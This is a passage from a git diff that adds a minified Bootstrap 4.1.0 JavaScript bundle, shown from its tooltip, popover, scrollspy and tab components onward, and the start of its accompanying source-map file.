document.documentElement&&sn(document.body).children().off("mouseover",null,sn.noop),this._activeTrigger[In]=!1,this._activeTrigger[wn]=!1,this._activeTrigger[Cn]=!1,sn(this.tip).hasClass(En)){var o=gt.getTransitionDurationFromElement(n);sn(n).one(gt.TRANSITION_END,r).emulateTransitionEnd(o)}else r();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){sn(this.getTipElement()).addClass(hn+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||sn(this.config.template)[0],this.tip},t.setContent=function(){var t=sn(this.getTipElement());this.setElementContent(t.find(bn),this.getTitle()),t.removeClass(En+" "+yn)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||e.jquery)?n?sn(e).parent().is(t)||t.empty().append(e):t.text(sn(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=function(t){return pn[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)sn(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==Dn){var e=t===Cn?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===Cn?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;sn(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}sn(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=c({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||sn(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?wn:Cn]=!0),sn(e.getTipElement()).hasClass(yn)||e._hoverState===mn?e._hoverState=mn:(clearTimeout(e._timeout),e._hoverState=mn,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===mn&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||sn(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?wn:Cn]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=_n,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===_n&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){return"number"==typeof(t=c({},this.constructor.Default,sn(this.element).data(),t)).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),gt.typeCheckConfig(an,t,this.constructor.DefaultType),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=sn(this.getTipElement()),e=t.attr("class").match(un);null!==e&&0<e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(sn(t).removeClass(En),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=sn(this).data(ln),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),sn(this).data(ln,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return gn}},{key:"NAME",get:function(){return an}},{key:"DATA_KEY",get:function(){return ln}},{key:"Event",get:function(){return vn}},{key:"EVENT_KEY",get:function(){return cn}},{key:"DefaultType",get:function(){return dn}}]),i}(),sn.fn[an]=An._jQueryInterface,sn.fn[an].Constructor=An,sn.fn[an].noConflict=function(){return sn.fn[an]=fn,An._jQueryInterface},An),wi=(On="popover",kn="."+(Nn="bs.popover"),Ln=(Sn=e).fn[On],Pn="bs-popover",xn=new RegExp("(^|\\s)"+Pn+"\\S+","g"),jn=c({},Ci.Default,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'}),Rn=c({},Ci.DefaultType,{content:"(string|element|function)"}),Mn="fade",Wn=".popover-header",Fn=".popover-body",Un={HIDE:"hide"+kn,HIDDEN:"hidden"+kn,SHOW:(Hn="show")+kn,SHOWN:"shown"+kn,INSERTED:"inserted"+kn,CLICK:"click"+kn,FOCUSIN:"focusin"+kn,FOCUSOUT:"focusout"+kn,MOUSEENTER:"mouseenter"+kn,MOUSELEAVE:"mouseleave"+kn},Bn=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){Sn(this.getTipElement()).addClass(Pn+"-"+t)},r.getTipElement=function(){return this.tip=this.tip||Sn(this.config.template)[0],this.tip},r.setContent=function(){var t=Sn(this.getTipElement());this.setElementContent(t.find(Wn),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(Fn),e),t.removeClass(Mn+" "+Hn)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var t=Sn(this.getTipElement()),e=t.attr("class").match(xn);null!==e&&0<e.length&&t.removeClass(e.join(""))},i._jQueryInterface=function(n){return this.each(function(){var t=Sn(this).data(Nn),e="object"==typeof n?n:null;if((t||!/destroy|hide/.test(n))&&(t||(t=new i(this,e),Sn(this).data(Nn,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return jn}},{key:"NAME",get:function(){return On}},{key:"DATA_KEY",get:function(){return Nn}},{key:"Event",get:function(){return Un}},{key:"EVENT_KEY",get:function(){return kn}},{key:"DefaultType",get:function(){return Rn}}]),i}(Ci),Sn.fn[On]=Bn._jQueryInterface,Sn.fn[On].Constructor=Bn,Sn.fn[On].noConflict=function(){return Sn.fn[On]=Ln,Bn._jQueryInterface},Bn),Ii=(Vn="scrollspy",Yn="."+(Qn="bs.scrollspy"),Gn=(Kn=e).fn[Vn],qn={offset:10,method:"auto",target:""},zn={offset:"number",method:"string",target:"(string|element)"},Xn={ACTIVATE:"activate"+Yn,SCROLL:"scroll"+Yn,LOAD_DATA_API:"load"+Yn+".data-api"},Jn="dropdown-item",Zn="active",$n={DATA_SPY:'[data-spy="scroll"]',ACTIVE:".active",NAV_LIST_GROUP:".nav, .list-group",NAV_LINKS:".nav-link",NAV_ITEMS:".nav-item",LIST_ITEMS:".list-group-item",DROPDOWN:".dropdown",DROPDOWN_ITEMS:".dropdown-item",DROPDOWN_TOGGLE:".dropdown-toggle"},ti="offset",ei="position",ni=function(){function n(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" "+$n.NAV_LINKS+","+this._config.target+" "+$n.LIST_ITEMS+","+this._config.target+" "+$n.DROPDOWN_ITEMS,this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,Kn(this._scrollElement).on(Xn.SCROLL,function(t){return n._process(t)}),this.refresh(),this._process()}var t=n.prototype;return t.refresh=function(){var e=this,t=this._scrollElement===this._scrollElement.window?ti:ei,r="auto"===this._config.method?t:this._config.method,o=r===ei?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),Kn.makeArray(Kn(this._selector)).map(function(t){var e,n=gt.getSelectorFromElement(t);if(n&&(e=Kn(n)[0]),e){var i=e.getBoundingClientRect();if(i.width||i.height)return[Kn(e)[r]().top+o,n]}return null}).filter(function(t){return t}).sort(function(t,e){return t[0]-e[0]}).forEach(function(t){e._offsets.push(t[0]),e._targets.push(t[1])})},t.dispose=function(){Kn.removeData(this._element,Qn),Kn(this._scrollElement).off(Yn),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},t._getConfig=function(t){if("string"!=typeof(t=c({},qn,t)).target){var e=Kn(t.target).attr("id");e||(e=gt.getUID(Vn),Kn(t.target).attr("id",e)),t.target="#"+e}return gt.typeCheckConfig(Vn,t,zn),t},t._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},t._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},t._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},t._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),n<=t){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t<this._offsets[0]&&0<this._offsets[0])return this._activeTarget=null,void this._clear();for(var r=this._offsets.length;r--;){this._activeTarget!==this._targets[r]&&t>=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]||t<this._offsets[r+1])&&this._activate(this._targets[r])}}},t._activate=function(e){this._activeTarget=e,this._clear();var t=this._selector.split(",");t=t.map(function(t){return t+'[data-target="'+e+'"],'+t+'[href="'+e+'"]'});var n=Kn(t.join(","));n.hasClass(Jn)?(n.closest($n.DROPDOWN).find($n.DROPDOWN_TOGGLE).addClass(Zn),n.addClass(Zn)):(n.addClass(Zn),n.parents($n.NAV_LIST_GROUP).prev($n.NAV_LINKS+", "+$n.LIST_ITEMS).addClass(Zn),n.parents($n.NAV_LIST_GROUP).prev($n.NAV_ITEMS).children($n.NAV_LINKS).addClass(Zn)),Kn(this._scrollElement).trigger(Xn.ACTIVATE,{relatedTarget:e})},t._clear=function(){Kn(this._selector).filter($n.ACTIVE).removeClass(Zn)},n._jQueryInterface=function(e){return this.each(function(){var t=Kn(this).data(Qn);if(t||(t=new n(this,"object"==typeof e&&e),Kn(this).data(Qn,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})},s(n,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return qn}}]),n}(),Kn(window).on(Xn.LOAD_DATA_API,function(){for(var t=Kn.makeArray(Kn($n.DATA_SPY)),e=t.length;e--;){var n=Kn(t[e]);ni._jQueryInterface.call(n,n.data())}}),Kn.fn[Vn]=ni._jQueryInterface,Kn.fn[Vn].Constructor=ni,Kn.fn[Vn].noConflict=function(){return Kn.fn[Vn]=Gn,ni._jQueryInterface},ni),Di=(oi="."+(ri="bs.tab"),si=(ii=e).fn.tab,ai={HIDE:"hide"+oi,HIDDEN:"hidden"+oi,SHOW:"show"+oi,SHOWN:"shown"+oi,CLICK_DATA_API:"click"+oi+".data-api"},li="dropdown-menu",ci="active",fi="disabled",hi="fade",ui="show",di=".dropdown",pi=".nav, .list-group",gi=".active",mi="> li > .active",_i='[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',vi=".dropdown-toggle",Ei="> .dropdown-menu .active",yi=function(){function i(t){this._element=t}var t=i.prototype;return t.show=function(){var n=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&ii(this._element).hasClass(ci)||ii(this._element).hasClass(fi))){var t,i,e=ii(this._element).closest(pi)[0],r=gt.getSelectorFromElement(this._element);if(e){var o="UL"===e.nodeName?mi:gi;i=(i=ii.makeArray(ii(e).find(o)))[i.length-1]}var s=ii.Event(ai.HIDE,{relatedTarget:this._element}),a=ii.Event(ai.SHOW,{relatedTarget:i});if(i&&ii(i).trigger(s),ii(this._element).trigger(a),!a.isDefaultPrevented()&&!s.isDefaultPrevented()){r&&(t=ii(r)[0]),this._activate(this._element,e);var l=function(){var t=ii.Event(ai.HIDDEN,{relatedTarget:n._element}),e=ii.Event(ai.SHOWN,{relatedTarget:i});ii(i).trigger(t),ii(n._element).trigger(e)};t?this._activate(t,t.parentNode,l):l()}}},t.dispose=function(){ii.removeData(this._element,ri),this._element=null},t._activate=function(t,e,n){var i=this,r=("UL"===e.nodeName?ii(e).find(mi):ii(e).children(gi))[0],o=n&&r&&ii(r).hasClass(hi),s=function(){return i._transitionComplete(t,r,n)};if(r&&o){var a=gt.getTransitionDurationFromElement(r);ii(r).one(gt.TRANSITION_END,s).emulateTransitionEnd(a)}else s()},t._transitionComplete=function(t,e,n){if(e){ii(e).removeClass(ui+" "+ci);var i=ii(e.parentNode).find(Ei)[0];i&&ii(i).removeClass(ci),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}if(ii(t).addClass(ci),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),gt.reflow(t),ii(t).addClass(ui),t.parentNode&&ii(t.parentNode).hasClass(li)){var r=ii(t).closest(di)[0];r&&ii(r).find(vi).addClass(ci),t.setAttribute("aria-expanded",!0)}n&&n()},i._jQueryInterface=function(n){return this.each(function(){var t=ii(this),e=t.data(ri);if(e||(e=new i(this),t.data(ri,e)),"string"==typeof n){if("undefined"==typeof e[n])throw new TypeError('No method named "'+n+'"');e[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),i}(),ii(document).on(ai.CLICK_DATA_API,_i,function(t){t.preventDefault(),yi._jQueryInterface.call(ii(this),"show")}),ii.fn.tab=yi._jQueryInterface,ii.fn.tab.Constructor=yi,ii.fn.tab.noConflict=function(){return ii.fn.tab=si,yi._jQueryInterface},yi);!function(t){if("undefined"==typeof t)throw new TypeError("Bootstrap's JavaScript requires jQuery. jQuery must be included before Bootstrap's JavaScript.");var e=t.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9||1===e[0]&&9===e[1]&&e[2]<1||4<=e[0])throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}(e),t.Util=gt,t.Alert=mt,t.Button=_t,t.Carousel=vt,t.Collapse=Et,t.Dropdown=bi,t.Modal=Ti,t.Popover=wi,t.Scrollspy=Ii,t.Tab=Di,t.Tooltip=Ci,Object.defineProperty(t,"__esModule",{value:!0})}); +//# sourceMappingURL=bootstrap.bundle.min.js.map \ No newline at end of file diff --git a/public/js/bootstrap.bundle.min.js.map b/public/js/bootstrap.bundle.min.js.map new file mode 100644 index 0000000..130a708 --- /dev/null +++ b/public/js/bootstrap.bundle.min.js.map @@ -0,0 +1 @@ +{"version":3,"sources":["../../rollupPluginBabelHelpers","../../node_modules/popper.js/dist/esm/popper.js","../../js/src/util.js","../../js/src/alert.js","../../js/src/button.js","../../js/src/carousel.js","../../js/src/collapse.js","../../js/src/dropdown.js","../../js/src/modal.js","../../js/src/tooltip.js","../../js/src/popover.js","../../js/src/scrollspy.js","../../js/src/tab.js","../../js/src/index.js"],"names":["_defineProperties","target","props","i","length","descriptor","enumerable","configurable","writable","Object","defineProperty","key","_createClass","Constructor","protoProps","staticProps","prototype","_objectSpread","arguments","source","ownKeys","keys","getOwnPropertySymbols","concat","filter","sym","getOwnPropertyDescriptor","forEach","obj","value","$","NAME","DATA_KEY","EVENT_KEY","JQUERY_NO_CONFLICT","Event","ClassName","Alert","DATA_API_KEY","Selector","Button","Default","DefaultType","Direction","Carousel","Dimension","Collapse","Util","TRANSITION_END","transitionEndEmulator","duration","_this","this","called","one","setTimeout","triggerTransitionEnd","getUID","prefix","Math","random","document","getElementById","getSelectorFromElement","element","selector","getAttribute","find","err","getTransitionDurationFromElement","transitionDuration","css","parseFloat","split","reflow","offsetHeight","trigger","supportsTransitionEnd","Boolean","isElement","nodeType","typeCheckConfig","componentName","config","configTypes","property","hasOwnProperty","call","expectedTypes","valueType","toString","match","toLowerCase","RegExp","test","Error","toUpperCase","fn","emulateTransitionEnd","event","special","bindType","delegateType","handle","is","handleObj","handler","apply","CLOSE","CLOSED","CLICK_DATA_API","_element","_proto","close","rootElement","_getRootElement","_triggerCloseEvent","isDefaultPrevented","_removeElement","dispose","removeData","parent","closest","closeEvent","removeClass","hasClass","_destroyElement","detach","remove","_jQueryInterface","each","$element","data","_handleDismiss","alertInstance","preventDefault","get","on","noConflict","FOCUS_BLUR_DATA_API","toggle","triggerChangeEvent","addAriaPressed","input","type","checked","activeElement","hasAttribute","classList","contains","focus","setAttribute","toggleClass","button","interval","keyboard","slide","pause","wrap","SLIDE","SLID","KEYDOWN","MOUSEENTER","MOUSELEAVE","TOUCHEND","LOAD_DATA_API","ACTIVE","ACTIVE_ITEM","ITEM","NEXT_PREV","INDICATORS","DATA_SLIDE","DATA_RIDE","_items","_interval","_activeElement","_isPaused","_isSliding","touchTimeout","_config","_getConfig","_indicatorsElement","_addEventListeners","next","_slide","nextWhenVisible","hidden","prev","cycle","clearInterval","setInterval","visibilityState","bind","to","index","activeIndex","_getItemIndex","direction","off","_this2","_keydown","documentElement","clearTimeout","tagName","which","makeArray","indexOf","_getItemByDirection","isNextDirection","isPrevDirection","lastItemIndex","itemIndex","_triggerSlideEvent","relatedTarget","eventDirectionName","targetIndex","fromIndex","slideEvent","from","_setActiveIndicatorElement","nextIndicator","children","addClass","directionalClassName","orderClassName","_this3","activeElementIndex","nextElement","nextElementIndex","isCycling","slidEvent","action","TypeError","_dataApiClickHandler","slideIndex","window","$carousel","SHOW","SHOWN","HIDE","HIDDEN","ACTIVES","DATA_TOGGLE","_isTransitioning","_triggerArray","id","tabToggles","elem","_selector","push","_parent","_getParent","_addAriaAndCollapsedClass","hide","show","actives","activesData","not","startEvent","dimension","_getDimension","style","attr","setTransitioning","scrollSize","slice","getBoundingClientRect","isTransitioning","jquery","_getTargetFromElement","triggerArray","isOpen","$this","currentTarget","$trigger","$target","isBrowser","longerTimeoutBrowsers","timeoutDuration","navigator","userAgent","debounce","Promise","resolve","then","scheduled","isFunction","functionToCheck","getStyleComputedProperty","getComputedStyle","getParentNode","nodeName","parentNode","host","getScrollParent","body","ownerDocument","_getStyleComputedProp","overflow","overflowX","overflowY","cache","isIE","version","undefined","appVersion","all","some","getOffsetParent","noOffsetParent","offsetParent","nextElementSibling","getRoot","node","findCommonOffsetParent","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","firstElementChild","element1root","getScroll","upperSide","html","scrollingElement","getBordersSize","styles","axis","sideA","sideB","getSize","computedStyle","max","getWindowSizes","height","width","classCallCheck","instance","createClass","defineProperties","_extends","assign","getClientRect","offsets","right","left","bottom","top","rect","scrollTop","scrollLeft","e","result","sizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","getOffsetRectRelativeToArbitraryNode","fixedPosition","isIE10","isHTML","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","subtract","modifier","includeScroll","getFixedPositionOffsetParent","parentElement","el","getBoundaries","popper","reference","padding","boundariesElement","boundaries","excludeScroll","relativeOffset","innerWidth","innerHeight","getViewportOffsetRectRelativeToArtbitraryNode","boundariesNode","isFixed","_getWindowSizes","computeAutoPlacement","placement","refRect","rects","sortedAreas","map","area","_ref","sort","a","b","filteredAreas","_ref2","computedPlacement","variation","getReferenceOffsets","state","getOuterSizes","x","marginBottom","y","marginRight","getOppositePlacement","hash","replace","matched","getPopperOffsets","referenceOffsets","popperRect","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","arr","check","Array","runModifiers","modifiers","ends","prop","findIndex","cur","console","warn","enabled","isModifierEnabled","modifierName","name","getSupportedPropertyName","prefixes","upperProp","charAt","toCheck","getWindow","defaultView","setupEventListeners","options","updateBound","addEventListener","passive","scrollElement","attachToScrollParents","callback","scrollParents","isBody","eventsEnabled","disableEventListeners","cancelAnimationFrame","scheduleUpdate","removeEventListener","isNumeric","n","isNaN","isFinite","setStyles","unit","isModifierRequired","requestingName","requestedName","requesting","isRequired","_requesting","requested","placements","validPlacements","clockwise","counter","reverse","BEHAVIORS","FLIP","CLOCKWISE","COUNTERCLOCKWISE","parseOffset","offset","basePlacement","useHeight","fragments","frag","trim","divider","search","splitRegex","ops","op","mergeWithPrevious","reduce","str","toValue","index2","Defaults","positionFixed","removeOnDestroy","onCreate","onUpdate","shift","shiftvariation","_data$offsets","isVertical","side","shiftOffsets","preventOverflow","priority","primary","escapeWithReference","secondary","min","keepTogether","floor","opSide","arrow","_data$offsets$arrow","arrowElement","querySelector","len","sideCapitalized","altSide","arrowElementSize","center","popperMarginSide","popperBorderSide","sideValue","round","flip","flipped","originalPlacement","placementOpposite","flipOrder","behavior","step","refOffsets","overlapsRef","overflowsLeft","overflowsRight","overflowsTop","overflowsBottom","overflowsBoundaries","flippedVariation","flipVariations","inner","subtractLength","bound","attributes","computeStyle","legacyGpuAccelerationOption","gpuAcceleration","offsetParentRect","position","prefixedProperty","willChange","invertTop","invertLeft","x-placement","arrowStyles","applyStyle","removeAttribute","onLoad","modifierOptions","Popper","requestAnimationFrame","update","isDestroyed","isCreated","enableEventListeners","removeChild","Utils","global","PopperUtils","REGEXP_KEYDOWN","AttachmentMap","Dropdown","Modal","CLASS_PREFIX","BSCLS_PREFIX_REGEX","HoverState","Trigger","Tooltip","Popover","OffsetMethod","ScrollSpy","Tab","ARROW_UP_KEYCODE","CLICK","KEYDOWN_DATA_API","KEYUP_DATA_API","boundary","display","_popper","_menu","_getMenuElement","_inNavbar","_detectNavbar","disabled","_getParentFromElement","isActive","_clearMenus","showEvent","referenceElement","_getPopperConfig","noop","destroy","stopPropagation","constructor","_getPlacement","$parentDropdown","offsetConf","popperConfig","toggles","context","dropdownMenu","hideEvent","_dataApiKeydownHandler","items","backdrop","FOCUSIN","RESIZE","CLICK_DISMISS","KEYDOWN_DISMISS","MOUSEUP_DISMISS","MOUSEDOWN_DISMISS","DIALOG","DATA_DISMISS","FIXED_CONTENT","STICKY_CONTENT","NAVBAR_TOGGLER","_dialog","_backdrop","_isShown","_isBodyOverflowing","_ignoreBackdropClick","_scrollbarWidth","_checkScrollbar","_setScrollbar","_adjustDialog","_setEscapeEvent","_setResizeEvent","_showBackdrop","_showElement","transition","_hideModal","handleUpdate","ELEMENT_NODE","appendChild","_enforceFocus","shownEvent","transitionComplete","_this4","has","_this5","_this6","_this7","_resetAdjustments","_resetScrollbar","_removeBackdrop","_this8","animate","createElement","className","appendTo","backdropTransitionDuration","callbackRemove","isModalOverflowing","scrollHeight","paddingLeft","paddingRight","_getScrollbarWidth","_this9","actualPadding","calculatedPadding","actualMargin","calculatedMargin","margin","scrollDiv","scrollbarWidth","_this10","animation","template","title","delay","AUTO","TOP","RIGHT","BOTTOM","LEFT","container","fallbackPlacement","INSERTED","FOCUSOUT","_isEnabled","_timeout","_hoverState","_activeTrigger","tip","_setListeners","enable","disable","toggleEnabled","dataKey","_getDelegateConfig","click","_isWithActiveTrigger","_enter","_leave","getTipElement","isWithContent","isInTheDom","tipId","setContent","attachment","_getAttachment","addAttachmentClass","_handlePopperPlacementChange","complete","_fixTransition","prevHoverState","_cleanTipClass","getTitle","$tip","setElementContent","content","empty","append","text","eventIn","eventOut","_fixTitle","titleType","tabClass","join","initConfigAnimation","_Tooltip","subClass","superClass","create","__proto__","_getContent","method","ACTIVATE","SCROLL","DATA_SPY","NAV_LIST_GROUP","NAV_LINKS","NAV_ITEMS","LIST_ITEMS","DROPDOWN","DROPDOWN_ITEMS","DROPDOWN_TOGGLE","_scrollElement","_offsets","_targets","_activeTarget","_scrollHeight","_process","refresh","autoMethod","offsetMethod","offsetBase","_getScrollTop","_getScrollHeight","targetSelector","targetBCR","item","pageYOffset","_getOffsetHeight","maxScroll","_activate","_clear","queries","$link","parents","scrollSpys","$spy","previous","listElement","itemSelector","hiddenEvent","active","_transitionComplete","dropdownChild","dropdownElement"],"mappings":"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